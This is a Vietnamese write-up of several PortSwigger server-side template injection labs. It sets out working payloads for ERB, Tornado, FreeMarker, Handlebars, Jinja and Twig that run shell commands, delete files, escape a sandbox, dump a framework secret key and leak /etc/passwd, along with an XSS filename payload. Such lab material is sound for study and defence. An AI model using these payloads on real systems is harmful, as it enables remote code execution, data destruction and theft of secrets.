Read

Mặc dù đây có thể không phải là cách thú vị nhất để dành thời gian, nhưng điều quan trọng là không nên đánh giá thấp mức độ hữu ích của tài liệu.

Learn the Basic Template Syntax

Việc học cú pháp cơ bản rõ ràng là quan trọng, cùng với các hàm chính và cách xử lý biến. Ngay cả một điều đơn giản như học cách nhúng các khối mã gốc vào template đôi khi cũng có thể nhanh chóng dẫn đến một cuộc tấn công.

Lab: Basic Server-side Template Injection

Abstract

Lab này có lỗ hổng server-side template injection do việc xây dựng template ERB không an toàn.

Để giải quyết lab, hãy xem lại tài liệu ERB để tìm cách thực thi mã tùy ý, sau đó xóa tệp morale.txt khỏi thư mục chính của Carlos.

Có một server-side redirect khi xem chi tiết một số sản phẩm:

HTTP/2 302 Found
Location: /?message=Unfortunately this product is out of stock
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Tham số message sẽ được render như sau:

<div>Unfortunately this product is out of stock</div>

Thử {{7*7}} và ứng dụng phản ánh tương tự.

Thử <%= 7*7 %> và ứng dụng render ra 49, điều này xác nhận lỗ hổng SSTI.

Tham khảo SSTI (Server Side Template Injection) | HackTricks để tạo payload cuối cùng:

<%=  system('rm /home/carlos/morale.txt') %>

Lab: Basic Server-side Template Injection (code context)

Abstract

Lab này có lỗ hổng server-side template injection do cách nó sử dụng không an toàn một template Tornado. Để giải quyết lab, hãy xem lại tài liệu Tornado để khám phá cách thực thi mã tùy ý, sau đó xóa tệp morale.txt khỏi thư mục chính của Carlos.

Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau: wiener:peter

Hint

Hãy xem kỹ hơn chức năng “preferred name”.

Đăng nhập và tìm thấy request được sử dụng để cập nhật tên ưu tiên mà người dùng muốn hiển thị trong bình luận:

POST /my-account/change-blog-post-author-display HTTP/2
Host: 0ae500d303253c718296bfce00ac00e3.web-security-academy.net
Cookie: session=2igIytDp7cRshBoewU7L3D0Sx0exgZe5
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
 
blog-post-author-display=user.first_name&csrf=FzufnSMtJQXoqBRIZMaHtFMUvBS93pFS

Thêm {{7*7 sau user.first_name và bình luận vào bất kỳ bài đăng blog nào. Sau đó, gửi request đến bài đăng blog mà chúng ta đã bình luận và server phản hồi như sau:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2849
 
No handlers could be found for logger &quot;tornado.application&quot;
Traceback (most recent call last):
  File &quot;&lt;string&gt;&quot;, line 15, in &lt;module&gt;
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 317, in __init__
    &quot;exec&quot;, dont_inherit=True)
  File &quot;&lt;string&gt;.generated.py&quot;, line 4
    _tt_tmp = user.first_name{{7*7  # &lt;string&gt;:1
                             ^
SyntaxError: invalid syntax

Phản hồi này cho thấy user.nickname có thể được sử dụng làm input cho template engine Tornado.

Cập nhật payload thành {{7*7}}:

POST /my-account/change-blog-post-author-display HTTP/2
Host: 0ae500d303253c718296bfce00ac00e3.web-security-academy.net
Cookie: session=2igIytDp7cRshBoewU7L3D0Sx0exgZe5
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
 
blog-post-author-display={{7*7}}&csrf=FzufnSMtJQXoqBRIZMaHtFMUvBS93pFS

Tải lại trang blog và biểu thức được đánh giá như sau:

<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">                            {{49}}
 | 26 September 2024
</p>

Điều này xác nhận lỗ hổng SSTI.

Thử thực thi lệnh id với payload này:

{% import os %}{{os.popen('id').read()}}

Ứng dụng trả về lỗi 500:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2861
 
No handlers could be found for logger &quot;tornado.application&quot;
Traceback (most recent call last):
  File &quot;&lt;string&gt;&quot;, line 15, in &lt;module&gt;
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 317, in __init__
    &quot;exec&quot;, dont_inherit=True)
  File &quot;&lt;string&gt;.generated.py&quot;, line 5
    _tt_tmp = % import os %}{{os.popen(&apos;id&apos;).read()  # &lt;string&gt;:1
              ^
SyntaxError: invalid syntax

Có vẻ như chúng ta cần thoát khỏi ngữ cảnh.

Sử dụng payload này thay thế:

7*7}}{% import os %}{{os.popen('id').read()

Chúng ta cần thêm 7*7}} vào đầu payload nếu không ứng dụng sẽ ném lỗi này:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3001
 
Traceback (most recent call last):
  File &quot;&lt;string&gt;&quot;, line 15, in &lt;module&gt;
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 306, in __init__
    self.file = _File(self, _parse(reader, self))
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 862, in _parse
    reader.raise_parse_error(&quot;Empty expression&quot;)
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 788, in raise_parse_error
    raise ParseError(msg, self.name, self.line)
tornado.template.ParseError: Empty expression at &lt;string&gt;:1

Ứng dụng render như sau:

<p>
                        <img src="/resources/images/avatarDefault.svg" class="avatar">                            49uid=12002(carlos) gid=12002(carlos) groups=12002(carlos)
 
 | 26 September 2024
                        </p>

Payload cuối cùng:

7*7}}{% import os %}{{os.popen('rm /home/carlos/morale.txt').read()

Read About the Security Implications

Ngoài việc cung cấp những kiến thức cơ bản về cách tạo và sử dụng template, tài liệu cũng có thể cung cấp một loại mục “Security” nào đó. Tên của mục này sẽ khác nhau, nhưng nó thường sẽ nêu rõ tất cả những điều nguy hiểm tiềm tàng mà mọi người nên tránh làm với template.

Ngay cả khi không có mục “Security” riêng, nếu một đối tượng hoặc hàm tích hợp cụ thể có thể gây ra rủi ro bảo mật, hầu như luôn có một cảnh báo nào đó trong tài liệu.

Ví dụ, trong ERB, tài liệu tiết lộ rằng chúng ta có thể liệt kê tất cả các thư mục và sau đó đọc các tệp tùy ý như sau:

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

Lab: Server-side Template Injection Using Documentation

Abstract

Lab này có lỗ hổng server-side template injection. Để giải quyết lab, hãy xác định template engine và sử dụng tài liệu để tìm ra cách thực thi mã tùy ý, sau đó xóa tệp morale.txt khỏi thư mục chính của Carlos.

Info

Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau: content-manager:C0nt3ntM4n4g3r

Đăng nhập bằng thông tin đăng nhập được cung cấp. Điều hướng đến sản phẩm đầu tiên, nơi có thể chỉnh sửa, xem trước và lưu template. Template bao gồm dòng sau:

<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>

Thay đổi product.stock, có thể là một số, thành abc và gửi request để xem trước template. Gặp thông báo lỗi này:

Hurry! Only FreeMarker template error (DEBUG mode; use RETHROW in production!):
The following has evaluated to null or missing:
==&gt; abc  [in template &quot;freemarker&quot; at line 5, column 18]
 
----
Tip: If the failing expression is known to legally refer to something that&apos;s sometimes null or missing, either specify a default value like myOptionalVar!myDefault, or use &lt;#if myOptionalVar??&gt;when-present&lt;#else&gt;when-missing&lt;/#if&gt;. (These only cover the last step of the expression; to cover the whole expression, use parenthesis: (myOptionalVar.foo)!myDefault, (myOptionalVar.foo)??
----
 
----
FTL stack trace (&quot;~&quot; means nesting-related):
	- Failed at: ${abc}  [in template &quot;freemarker&quot; at line 5, column 16]
----
 
Java stack trace (for programmers):
----
freemarker.core.InvalidReferenceException: [... Exception message was already printed; see it above ...]
	at freemarker.core.InvalidReferenceException.getInstance(InvalidReferenceException.java:134)
	at freemarker.core.EvalUtil.coerceModelToTextualCommon(EvalUtil.java:479)
	at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:401)
	at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:370)
	at freemarker.core.DollarVariable.calculateInterpolatedStringOrMarkup(DollarVariable.java:100)
	at freemarker.core.DollarVariable.accept(DollarVariable.java:63)
	at freemarker.core.Environment.visit(Environment.java:331)
	at freemarker.core.Environment.visit(Environment.java:337)
	at freemarker.core.Environment.process(Environment.java:310)
	at freemarker.template.Template.process(Template.java:383)
	at lab.actions.templateengines.FreeMarker.processInput(FreeMarker.java:58)
	at lab.actions.templateengines.FreeMarker.act(FreeMarker.java:42)
	at lab.actions.common.Action.act(Action.java:57)
	at lab.actions.common.Action.run(Action.java:39)
	at lab.actions.templateengines.FreeMarker.main(FreeMarker.java:23)

Thông báo cho thấy template engine đang được sử dụng là Freemarker.

Thử với payload ${7*191}:

<p>Hurry! Only ${7*191} left of ${product.name} at ${product.price}.</p>

Response cho thấy payload được máy chủ đánh giá:

<p>Hurry! Only 1,337 left of Beat the Vacation Traffic at $69.90.</p>

Sử dụng payload sau được lấy từ SSTI (Server Side Template Injection) | HackTricks sử dụng lớp Execute (FreeMarker 2.3.33 API):

${"freemarker.template.utility.Execute"?new()("id")}

Giải thích payload:

  • freemarker.template.utility.Execute: tên đủ điều kiện của lớp
  • ?new(): đây là một chỉ thị trong Freemarker để khởi tạo một đối tượng mới của lớp được chỉ định
  • ("id"): sau khi đối tượng được tạo, nó được gọi như một phương thức với "id" làm đối số.

Response:

<p>Hurry! Only uid=12002(carlos) gid=12002(carlos) groups=12002(carlos) left of Weird Crushes Game at $91.78.</p>

Thay đổi id thành rm /home/carlos/morale.txt để giải quyết lab:

${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}

Look for Known Exploits

Khi chúng ta có thể xác định được template engine đang được sử dụng, chúng ta nên duyệt web để tìm bất kỳ lỗ hổng nào mà những người khác có thể đã phát hiện ra.

Lab: Server-side Template Injection in an Unknown Language with a Documented Exploit

Abstract

Lab này có lỗ hổng server-side template injection. Để giải quyết lab, hãy xác định template engine và tìm một exploit đã được ghi nhận trực tuyến mà chúng ta có thể sử dụng để thực thi mã tùy ý, sau đó xóa tệp morale.txt khỏi thư mục chính của Carlos.

Phát hiện ra request này có một input được phản ánh:

GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock1337 HTTP/2
Host: 0a12005403fb2a6080506c86002a0007.web-security-academy.net
Cookie: session=Jf81kKJcwOR358Nr845mehUw4BmpIrK2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0a12005403fb2a6080506c86002a0007.web-security-academy.net/

Response:

<div>Unfortunately this product is out of stock1337</div>

Sử dụng payload sau (lấy từ SSTI (Server Side Template Injection) | HackTricks) với một lệnh khác (rm /home/carlos/morale.txt):

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

URL encode nó và gửi request để giải quyết lab:

GET /?message=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%69%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%7b%7b%74%68%69%73%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%65%61%63%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d HTTP/2

Seealso

Explore

Nhiều template engine hiển thị một đối tượng “self” hoặc “environment” nào đó, hoạt động giống như một không gian tên chứa tất cả các đối tượng, phương thức và thuộc tính được template engine hỗ trợ.

Ví dụ, trong các ngôn ngữ template dựa trên Java, đôi khi chúng ta có thể liệt kê tất cả các biến trong môi trường bằng cách sử dụng injection sau:

${T(java.lang.System).getenv()}

Info

Ngoài ra, đối với người dùng Burp Suite Professional, Intruder cung cấp một danh sách từ tích hợp để brute-force tên biến.

Developer-supplied Objects

Các trang web bao gồm các đối tượng tích hợp từ template và các đối tượng tùy chỉnh do nhà phát triển thêm vào. Hãy chú ý đến các đối tượng tùy chỉnh này, vì chúng có thể chứa thông tin nhạy cảm hoặc các phương thức có thể bị khai thác.

Note

Chúng ta vẫn có thể tận dụng các lỗ hổng server-side template injection cho các cuộc tấn công có mức độ nghiêm trọng cao khác, chẳng hạn như path traversal file, để có quyền truy cập vào dữ liệu nhạy cảm.

Lab: Server-side Template Injection with Information Disclosure via User-supplied Objects

Abstract

Lab này có lỗ hổng server-side template injection do cách một đối tượng được truyền vào template. Lỗ hổng này có thể được khai thác để truy cập dữ liệu nhạy cảm.

Để giải quyết lab, hãy đánh cắp và gửi khóa bí mật của framework.

Info

Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau: content-manager:C0nt3ntM4n4g3r

Lab này có tính năng “Preview Template” cho phép người dùng đã đăng nhập có thể xem trước một template của một blog.

Template ban đầu có dòng sau:

<p>Hurry! Only {{product.stock}} left of {{product.name}} at {{product.price}}.</p>

Thay đổi product.stock thành 191*7 và nhấn nút “Preview”. Response có một thông báo lỗi:

<p class=is-warning>Traceback (most recent call last):
  File &quot;&lt;string&gt;&quot;, line 11, in &lt;module&gt;
  File &quot;/usr/local/lib/python2.7/dist-packages/django/template/base.py&quot;, line 191, in __init__
    self.nodelist = self.compile_nodelist()
  File &quot;/usr/local/lib/python2.7/dist-packages/django/template/base.py&quot;, line 230, in compile_nodelist
    return parser.parse()
  File &quot;/usr/local/lib/python2.7/dist-packages/django/template/base.py&quot;, line 486, in parse
    raise self.error(token, e)
django.template.exceptions.TemplateSyntaxError: Could not parse the remainder: &apos;*191&apos; from &apos;7*191&apos;</p>

Từ thông báo lỗi, chúng ta biết rằng ngôn ngữ lập trình là Python và framework là Django. Thay đổi dòng template thành:

<p>Hurry! Only {% debug %} left of {{product.name}} at {{product.price}}.</p>

Response tiết lộ rằng template engine đang được sử dụng là Jinja:

'django.template.backends.jinja2': <module 'django.template.backends.jinja2' from '/usr/local/lib/python2.7/dist-packages/django/template/backends/jinja2.pyc'>

Sử dụng payload sau (lấy từ SSTI (Server Side Template Injection) | HackTricks):

<p>Hurry! Only {{settings.SECRET_KEY}} left of {{product.name}} at {{product.price}}.</p>

Response có khóa bí mật:

<p>Hurry! Only xvwz28n1it8zvsgoz6h2guvn5itx5o0h left of Six Pack Beer Belt at $67.15.</p>

Create a Custom Attack

Đôi khi chúng ta sẽ cần phải xây dựng một exploit tùy chỉnh. Ví dụ, chúng ta có thể thấy rằng template engine thực thi các template bên trong một sandbox, điều này có thể làm cho việc khai thác trở nên khó khăn, hoặc thậm chí là không thể.

Sau khi xác định bề mặt tấn công, nếu không có cách rõ ràng để khai thác lỗ hổng, chúng ta nên tiến hành các kỹ thuật kiểm tra truyền thống bằng cách xem xét từng hàm để tìm hành vi có thể khai thác.

Constructing a Custom Exploit Using an Object Chain

Bước đầu tiên là xác định các đối tượng và phương thức có thể truy cập.

Bằng cách khám phá tài liệu, chúng ta có thể tìm cách chuỗi các đối tượng và phương thức lại với nhau. Điều này đôi khi có thể mở khóa quyền truy cập vào dữ liệu nhạy cảm hoặc chức năng nguy hiểm có vẻ ngoài tầm với.

Ví dụ, trong template engine Velocity dựa trên Java, chúng ta có quyền truy cập vào một đối tượng ClassTool có tên là $class, chúng ta có thể chuỗi phương thức $class.inspect() và thuộc tính $class.type để lấy tham chiếu đến các đối tượng tùy ý:

$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

Lab: Server-side Template Injection in a Sandboxed Environment

Abstract

Lab này sử dụng template engine Freemarker. Nó có lỗ hổng server-side template injection do sandbox được triển khai kém. Để giải quyết lab, hãy thoát khỏi sandbox để đọc tệp my_password.txt từ thư mục chính của Carlos. Sau đó, gửi nội dung của tệp.

Info

Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau: content-manager:C0nt3ntM4n4g3r

Thử payload này:

<p>Hurry! Only ${7*7} left of ${product.name} at ${product.price}.</p>

Response cho thấy biểu thức được đánh giá:

<p>Hurry! Only 49 left of Single Use Food Hider at $98.51.</p>

Thử đọc my_password.txt với payload "freemarker.template.utility.Execute"?new()("cat /home/carlos/morale.txt"):

<p>Hurry! Only FreeMarker template error (DEBUG mode; use RETHROW in production!): Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

Tìm một payload từ SSTI (Server Side Template Injection) | HackTricks sử dụng chính đối tượng product:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_passwd.txt').toURL().openStream().readAllBytes()?join(" ")}

Output của phương thức getProtectionDomain() là một thể hiện của lớp ProtectionDomain:

ProtectionDomain (file:/opt/jars/freemarker.jar <no signer certificates>) jdk.internal.loader.ClassLoaders$AppClassLoader@6b9651f3 <no principals> java.security.Permissions@193f604a ( ("java.io.FilePermission" "/opt/jars/freemarker.jar" "read") ("java.lang.RuntimePermission" "exitVM") )

Output của phương thức getCodeSource() là một thể hiện của lớp CodeSource:

(file:/opt/jars/freemarker.jar <no signer certificates>)

Output của phương thức getLocation() là một thể hiện của lớp URL:

file:/opt/jars/freemarker.jar

Output của toURI().resolve("/home/carlos/my_password.txt").toURL():

file:/home/carlos/my_password.txt

Như chúng ta có thể thấy, bằng cách chuyển đổi URL thành URI và sử dụng phương thức resolve của URI, chúng ta có thể thay đổi URL từ /opt/jars/freemarker.jar thành /home/carlos/my_password.txt.

Bây giờ, chúng ta có thể gọi phương thức openStream() của lớp URL để mở một thể hiện InputStream để đọc nội dung của tệp. Từ Java 11, lớp InputStream bao gồm phương thức readAllBytes(), phương thức này đọc và trả về nội dung của tệp dưới dạng một mảng byte.

Chạy payload trên và nhận được mảng byte sau:

51 105 99 49 97 56 108 121 49 54 51 118 121 97 114 119 114 52 112 108

Viết một script để chuyển đổi thành ASCII (loại trừ các ký tự không nhìn thấy):

# Given hex array as a list of strings
hex_array = [
    "51", "105", "99", "49", "97", "56", "108", "121",
    "49", "54", "51", "118", "121", "97", "114", "119",
    "114", "52", "112", "108"
]
 
# Convert each value to its character representation and filter non-visible characters
filtered_chars = [chr(int(x)) for x in hex_array if 32 <= int(x) <= 126]
 
# Join the visible characters into a string
visible_string = ''.join(filtered_chars)
print(visible_string)

Kết quả:

3ic1a8ly163vyarwr4pl

Constructing a Custom Exploit Using Developer-supplied Objects

Một số template engine chạy trong một môi trường an toàn, bị hạn chế theo mặc định để giảm thiểu rủi ro. Mặc dù điều này hạn chế khả năng thực thi mã từ xa, các đối tượng do nhà phát triển tạo ra được hiển thị cho template có thể cung cấp một bề mặt tấn công yếu hơn.

Trong khi các thành phần tích hợp của template thường được ghi lại đầy đủ, các đối tượng dành riêng cho trang web thường thiếu tài liệu. Để khai thác chúng, chúng ta sẽ cần phân tích hành vi của trang web, xác định bề mặt tấn công và tạo một exploit tùy chỉnh.

Lab: Server-side Template Injection with a Custom Exploit

Abstract

Lab này có lỗ hổng server-side template injection. Để giải quyết lab, hãy tạo một exploit tùy chỉnh để xóa tệp /.ssh/id_rsa khỏi thư mục chính của Carlos.

Chúng ta có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau: wiener:peter

Warning

Như với nhiều lỗ hổng có mức độ nghiêm trọng cao, việc thử nghiệm với server-side template injection có thể nguy hiểm. Nếu chúng ta không cẩn thận khi gọi các phương thức, có thể làm hỏng phiên bản lab của mình, điều này có thể làm cho nó không thể giải quyết được. Nếu điều này xảy ra, chúng ta sẽ cần đợi 20 phút cho đến khi phiên lab của mình được đặt lại.

Người dùng đã đăng nhập có thể thay đổi email, tên hiển thị ưu tiên và avatar. Chèn dữ liệu độc hại vào tất cả các tính năng đó.

Đăng nhập và thử bình luận vào bất kỳ bài đăng nào với payload ${7*7}. Sau đó, gửi request đến bài đăng và lỗi sau được hiển thị:

<p class=is-warning>PHP Fatal error:  Uncaught Twig_Error_Syntax: A hash key must be a quoted string, a number, a name, or an expression enclosed in parentheses (unexpected token &quot;punctuation&quot; of value &quot;{&quot; in &quot;index&quot; at line 1. in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php:292
Stack trace:
#0 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(197): Twig_ExpressionParser-&gt;parseHashExpression()
#1 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(92): Twig_ExpressionParser-&gt;parsePrimaryExpression()
#2 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(45): Twig_ExpressionParser-&gt;getPrimary()
#3 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Parser.php(125): Twig_ExpressionParser-&gt;parseExpression()
#4 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Parser.php(81): Twig_Parser-&gt;subparse(NULL, false)
#5 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(533): Twig_Parser-&gt;parse(Object(Twig_TokenS in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php on line 292
</p>

Vì vậy, ngôn ngữ lập trình là PHP và template engine là Twig.

Ngoài ra, hóa ra điểm injection không phải là tham số comment. Thay vào đó, đó là tham số blog-post-author-display:

POST /my-account/change-blog-post-author-display HTTP/2
Host: 0ade001604189b5481a1e970001400e1.web-security-academy.net
Cookie: session=rkfghR9l3URgHjrclLRUL9PJEtBtdJWv
Content-Length: 71
Origin: https://0ade001604189b5481a1e970001400e1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
 
blog-post-author-display=7*7&csrf=8yTnq8BfBtJ7qtGVHsFvmGx4sJVilKJt

Với giá trị ban đầu của blog-post-author-displayuser.firstname.

Nó sẽ được render trong phần bình luận của bất kỳ bài đăng blog nào:

<section class="comment">
	<p>
	<img src="/avatar?avatar=wiener" class=avatar>
		49 | 18 November 2024
	</p>
	<p>abc</p>
	<p></p>
</section>

Tuy nhiên, ngoài _self_context, tôi khó có thể thực thi bất cứ điều gì. Hóa ra nếu chúng ta tải lên một hình ảnh không hợp lệ làm avatar, ứng dụng sẽ ném thông báo lỗi sau:

<pre>PHP Fatal error:  Uncaught Exception: Uploaded file mime type is not an image: application/octet-stream in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/nmap.log', 'application/oct...')
#1 {main}
  thrown in /home/carlos/User.php on line 28
</pre>

Thông báo lỗi trên tiết lộ rằng có một phương thức tên là setAvatar có hai tham số.

Info

Ngoài ra, nếu chúng ta tải lên với tên tệp không hợp lệ, chúng ta có thể thực hiện XSS:

<pre>PHP Fatal error:  Uncaught Exception: Uploaded file name is invalid: bb45v<img src=a onerror=alert(1)>qsr5lifkbg9 in /home/carlos/avatar_upload.php:10
Stack trace:
#0 {main}
  thrown in /home/carlos/avatar_upload.php on line 10
</pre>

Intercept request tải lên và thay đổi loại MIME thành image/png, chúng ta có thể tải lên thành công.

Sau đó, chúng ta có thể lấy nội dung của nó thông qua request sau:

GET /avatar?avatar=wiener HTTP/2
Host: 0abb006504b00f6c82c9e792002e00db.web-security-academy.net
Cookie: session=sc9HX7OXYWSwSltSaMeNAqf9WIUo3SBw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
HTTP/2 200 OK
Content-Type: image/unknown
X-Frame-Options: SAMEORIGIN
Content-Length: 3315
 
# Nmap 7.95 scan initiated Sun Oct 20 20:35:23 2024 as: nmap -T3 -Pn -A -oN nmap.log 10.10.193.239
Nmap scan report for 10.10.193.239
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
...

Thử đọc /etc/passwd thông qua hàm setAvatar() bằng cách chèn payload sau:

POST /my-account/change-blog-post-author-display HTTP/2
Host: 0ade001604189b5481a1e970001400e1.web-security-academy.net
Cookie: session=rkfghR9l3URgHjrclLRUL9PJEtBtdJWv
Content-Length: 71
Origin: https://0ade001604189b5481a1e970001400e1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
 
blog-post-author-display=user.setAvatar('/etc/passwd','image/png')&csrf=c19nnnMCrSvbndw85UXTiZKVLO928oiW

Bình luận vào bất kỳ bài đăng nào và nội dung của /etc/passwd bị rò rỉ:

HTTP/2 200 OK
Content-Type: image/unknown
X-Frame-Options: SAMEORIGIN
Content-Length: 2316
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
